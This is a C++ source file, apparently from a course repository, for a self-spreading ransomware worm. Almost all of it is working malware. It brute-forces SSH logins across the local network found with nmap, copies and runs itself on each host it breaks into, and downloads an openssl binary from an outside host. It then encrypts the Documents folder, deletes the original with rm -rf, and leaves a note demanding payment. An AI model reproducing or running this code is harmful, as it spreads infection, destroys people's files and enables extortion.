-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathextorter_worm.cpp
415 lines (356 loc) · 11.4 KB
/
extorter_worm.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
#define LIBSSH_STATIC 1
#include <libssh/libssh.h>
#include <stdlib.h>
#include <stdio.h>
#include<errno.h>
#include<strings.h>
#include<cstring>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string>
#include <iostream>
#include <sstream>
#include <fstream>
#include <libssh/sftp.h>
#include <sys/stat.h>
#include <fcntl.h>
#include<vector>
#include<map>
#include <curl/curl.h>
#include<exception>
#include<algorithm>
#include <unistd.h>
#include <string.h> /* for strncpy */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <net/if.h>
#include <arpa/inet.h>
/*Creates a Marker File named 'infectionMarker_extW_CPP.txt
on the tmp folder in the Victim system'*/
void markInfected() {
std::ofstream myfile("/tmp/infectionMarker_extW_CPP.txt");
if (myfile.is_open())
{
myfile << "This system is infected\n" << std::endl;
myfile.close();
printf("\nCreated Infection marker on the System");
}
else
printf("Unable to open file");
}
/*Checks if the system is infected - Checks if Marker file is present in the system at tmp folder
Input: ssh session
Output:
'0' - If there is an error or if file does not exist
*/
int isInfected(ssh_session session) {
sftp_file file;
int rc;
sftp_session sftp;
int access_type = O_RDONLY;
sftp = sftp_new(session);
if (sftp == NULL)
{
fprintf(stderr, "\nError allocating SFTP session: %s\n",
ssh_get_error(session));
return 11;
}
rc = sftp_init(sftp);
if (rc != SSH_OK)
{
sftp_free(sftp);
return 1;
}
file = sftp_open(sftp, "/tmp/infectionMarker_extW_CPP.txt", access_type, 0);
if (file == NULL) {
printf("\nFile does not exist");
return 0;
}
else {
printf("\nSystem is already Infected\n");
return 1;
}
}
/*Gets IP Address of Current Machine
Reference: http://stackoverflow.com/questions/2283494/get-ip-address-of-an-interface-on-linux
*/
char* getMyIP(){
int fd;
struct ifreq ifr;
fd = socket(AF_INET, SOCK_DGRAM, 0);
/* I want to get an IPv4 IP address */
ifr.ifr_addr.sa_family = AF_INET;
/* I want IP address attached to "eth0" */
strncpy(ifr.ifr_name, "eth0", IFNAMSIZ - 1);
ioctl(fd, SIOCGIFADDR, &ifr);
close(fd);
/* display result */
printf("%s\n", inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr));
return inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr);
}
/*This function scans Network for IPs in the LAN which have their port 22 open
Output: Vector of all the host in the Network with Port 22 open
Reference: https://hackertarget.com/list-all-ips-in-subnet-with-nmap/
*/
std::vector<std::string> getHostsOnSameNetwork() {
FILE *fp;
char path[1035];
std::vector<std::string> res;
int i;
fp = popen("nmap 192.168.1.0/24 -p 22 --open | grep 'Nmap scan report for'| cut -f 5 -d ' '", "r");
if (fp == NULL) {
printf("\nFailed to run command");
pclose(fp);
//Need to put something
}
else {
while (!feof(fp)) {
if (fgets(path, sizeof(path), fp) != NULL) {
res.push_back(path);
}
}
pclose(fp);
return res;
}
}
/*Downloads openssl Program for encryption
Reference: http://stackoverflow.com/a/1636415/5741374
*/
size_t write_data(void *ptr, size_t size, size_t nmemb, FILE *stream) {
size_t written = fwrite(ptr, size, nmemb, stream);
return written;
}
void downloadOpenSSL() {
CURL *curl;
FILE *fp;
CURLcode res;
std::string url = "http://ecs.fullerton.edu/~mgofman/openssl";
char outfilename[FILENAME_MAX] = "openssl";
curl = curl_easy_init();
if (curl) {
fp = fopen(outfilename, "wb");
curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, fp);
res = curl_easy_perform(curl);
/* always cleanup */
curl_easy_cleanup(curl);
printf("\n Successfully Downloaded the openssl file");
fclose(fp);
}
}
/*Copies the executable of this worm to remote system
Input: ssh Session
Output:
'0' - If error Occurs
'1' - Successful Copy
Reference: http://stackoverflow.com/a/13692035/5741374
Reference: http://api.libssh.org/master/libssh_tutor_sftp.html
*/
int copyFile(ssh_session session) {
sftp_file file;
int rc;
int access_type = O_WRONLY | O_CREAT | O_TRUNC;
sftp_session sftp;
sftp = sftp_new(session);
if (sftp == NULL)
{
fprintf(stderr, "\nError allocating SFTP session: %s\n",
ssh_get_error(session));
return 0;
}
rc = sftp_init(sftp);
if (rc != SSH_OK)
{
sftp_free(sftp);
return 0;
}
file = sftp_open(sftp, "/tmp/extorterW",
access_type, S_IRWXU);
if (file == NULL)
{
fprintf(stderr, "\nCan't open remote file for writing: %s\n",
ssh_get_error(session));
return 0;
}
std::ifstream fin("/tmp/extorterW", std::ios::binary);
if (fin) {
fin.seekg(0, std::ios::end);
std::ios::pos_type length = fin.tellg(); // get file size in bytes
fin.seekg(0); // rewind to beginning of file
char* replicatorFile = new char[length];
fin.read(replicatorFile, length); // read file contents into buffer
sftp_write(file, replicatorFile, length); // write to remote file
}
else {
return 0;
}
rc = sftp_close(file);
if (rc != SSH_OK)
{
fprintf(stderr, "\nCan't close the written file: %s\n",
ssh_get_error(session));
return 0;
}
printf("\nCopy Successfull !");
return 1;
}
/*Executes the worm on Victim System
Input: ssh Session
Output:
'0' - Problem in execution
'1' - Successful execution of remote command
Refernce: http://api.libssh.org/master/libssh_tutor_command.html
*/
int executeFile(ssh_session session) {
ssh_channel channel;
int rc;
channel = ssh_channel_new(session);
if (channel != NULL) {
rc = ssh_channel_open_session(channel);
if (rc == SSH_OK) {
if (copyFile(session)) {
rc = ssh_channel_request_exec(channel, "/tmp/extorterW");
if (rc == SSH_OK) {
sleep(10);
ssh_channel_close(channel);
printf("\nExecuted command on remote machine");
return 1;
}
else {
printf("\nCannot give run permissions to the file");
return 0;
}
}
else {
printf("\nError While copying");
return 0;
}
}
else {
printf("\nError establishing channel for executing remote");
return 0;
}
}
else {
printf("\nCould not Connect to Host");
return 0;
}
}
/*Tries to connect to a remote system using ssh protocol
Tries to login to a system using the predefined Dictionary of usernames and passwords
Input: ssh Session, IP Address of host, Dictionary of usernames and passwords
Output:
'0' - Unsuccessful connection attempt
'1' - Successful Connection attempt
*/
int connectionToHost(ssh_session session, std::string host, std::map<std::string, std::string> &dictAttackList) {
int rc;
ssh_options_set(session, SSH_OPTIONS_HOST, host.c_str());
const char *username, *password;
rc = ssh_connect(session);
if (rc == SSH_OK) {
if (ssh_write_knownhost(session) < 0) {
fprintf(stderr, "Error %s", strerror(errno));
return 0;
}
else {
for (std::map<std::string, std::string>::iterator it = dictAttackList.begin(); it != dictAttackList.end(); it++) {
username = (it->first).c_str();
password = (it->second).c_str();
rc = ssh_userauth_password(session, NULL, password);
if (rc == SSH_AUTH_SUCCESS) {
printf("\nLogin Success");
return 1;
}
}
if (rc != SSH_AUTH_SUCCESS) {
printf("\n Error Authenticating");
}
}
}
else {
fprintf(stderr, "\nError Connecting to localhost: %s\n", ssh_get_error(session));
return 0;
}
}
/*Initialized Dictionary for Attack*/
void initializeDict(std::map<std::string, std::string> &dictAttackList) {
dictAttackList["ubuntu"] = "123456";
dictAttackList["hello"] = "worlds";
dictAttackList["cpsc"] = "c473";
dictAttackList["network"] = "security";
printf("\nDictionary Initialized !!!");
}
/*Method implements the follwoing functionalities:
1. Give executable permissions to downloaded openssl program
2. Tar the /home/ubuntu/Documents Folder
3. Encrypt tar using the openssl program*/
void tarAndEncrypt(){
try{
system("chmod a+x ./openssl");
system("tar -zcvf DocumentsDir.tar.gz -P /home/ubuntu/Documents/");
printf("\n Created tar of the Documents folder");
system("./openssl aes-256-cbc -a -salt -in DocumentsDir.tar.gz -out DocumentsDirCpp.tar.enc -k cpsc456worm");
printf("\n Created Encrypted File");
}
catch(...){
std::cout<<"Exception is occured in tar or encryption";
}
}
/*Method implements the following functionalities:
1. Delete the /home/ubuntu/Documents folder
2. Leave system Compromised message on the /home/ubuntu folder*/
void deleteDirAndLeaveMessage() {
system("rm /home/ubuntu/DocumentsDir.tar.gz");
system("rm /home/ubuntu/openssl");
system("rm -rf /home/ubuntu/Documents/");
printf("\n Deleted Documents folder and cleaned up all traces");
std::ofstream myfile("/home/ubuntu/SystemCompromisedCpp.txt");
if (myfile.is_open())
{
myfile << "Your Documents Directory has been encrypted ! Pay me to get the decryption Key\n" << std::endl;
myfile.close();
}
else
printf("\n Unable to open file for wrtign Threat message");
}
int main() {
ssh_session my_ssh_session;
ssh_channel channel;
int res;
std::map<std::string, std::string> dictAttackList;
/*Call to initialize Dictionary*/
initializeDict(dictAttackList);
/*Call to mark the system as Infected*/
markInfected();
/*Executes the Extortion functionality only is the system is not the Attacker.
192.168.1.4 in this scenario is the Attacker*/
if(strcmp(getMyIP(), "192.168.1.4") != 0){
downloadOpenSSL();
tarAndEncrypt();
deleteDirAndLeaveMessage();
}
/*Call to fetch Hosts in the Network*/
std::vector<std::string> hosts = getHostsOnSameNetwork();
/*Iterating through the hosts to connect and infect the system*/
for (std::vector<std::string>::iterator host = hosts.begin(); host != hosts.end(); ++host) {
std::cout << "\n Host: " << *host;
my_ssh_session = ssh_new();
if (my_ssh_session == NULL)
exit(-1);
if (connectionToHost(my_ssh_session, *host, dictAttackList) > 0) {
printf("\nSucceded to get into the host");
if (!isInfected(my_ssh_session)) {
res = executeFile(my_ssh_session);
if (res) {
std::cout << "\n Infected. " << *host << ". I can rest now ;)\n";
break;
}
}
}
}
}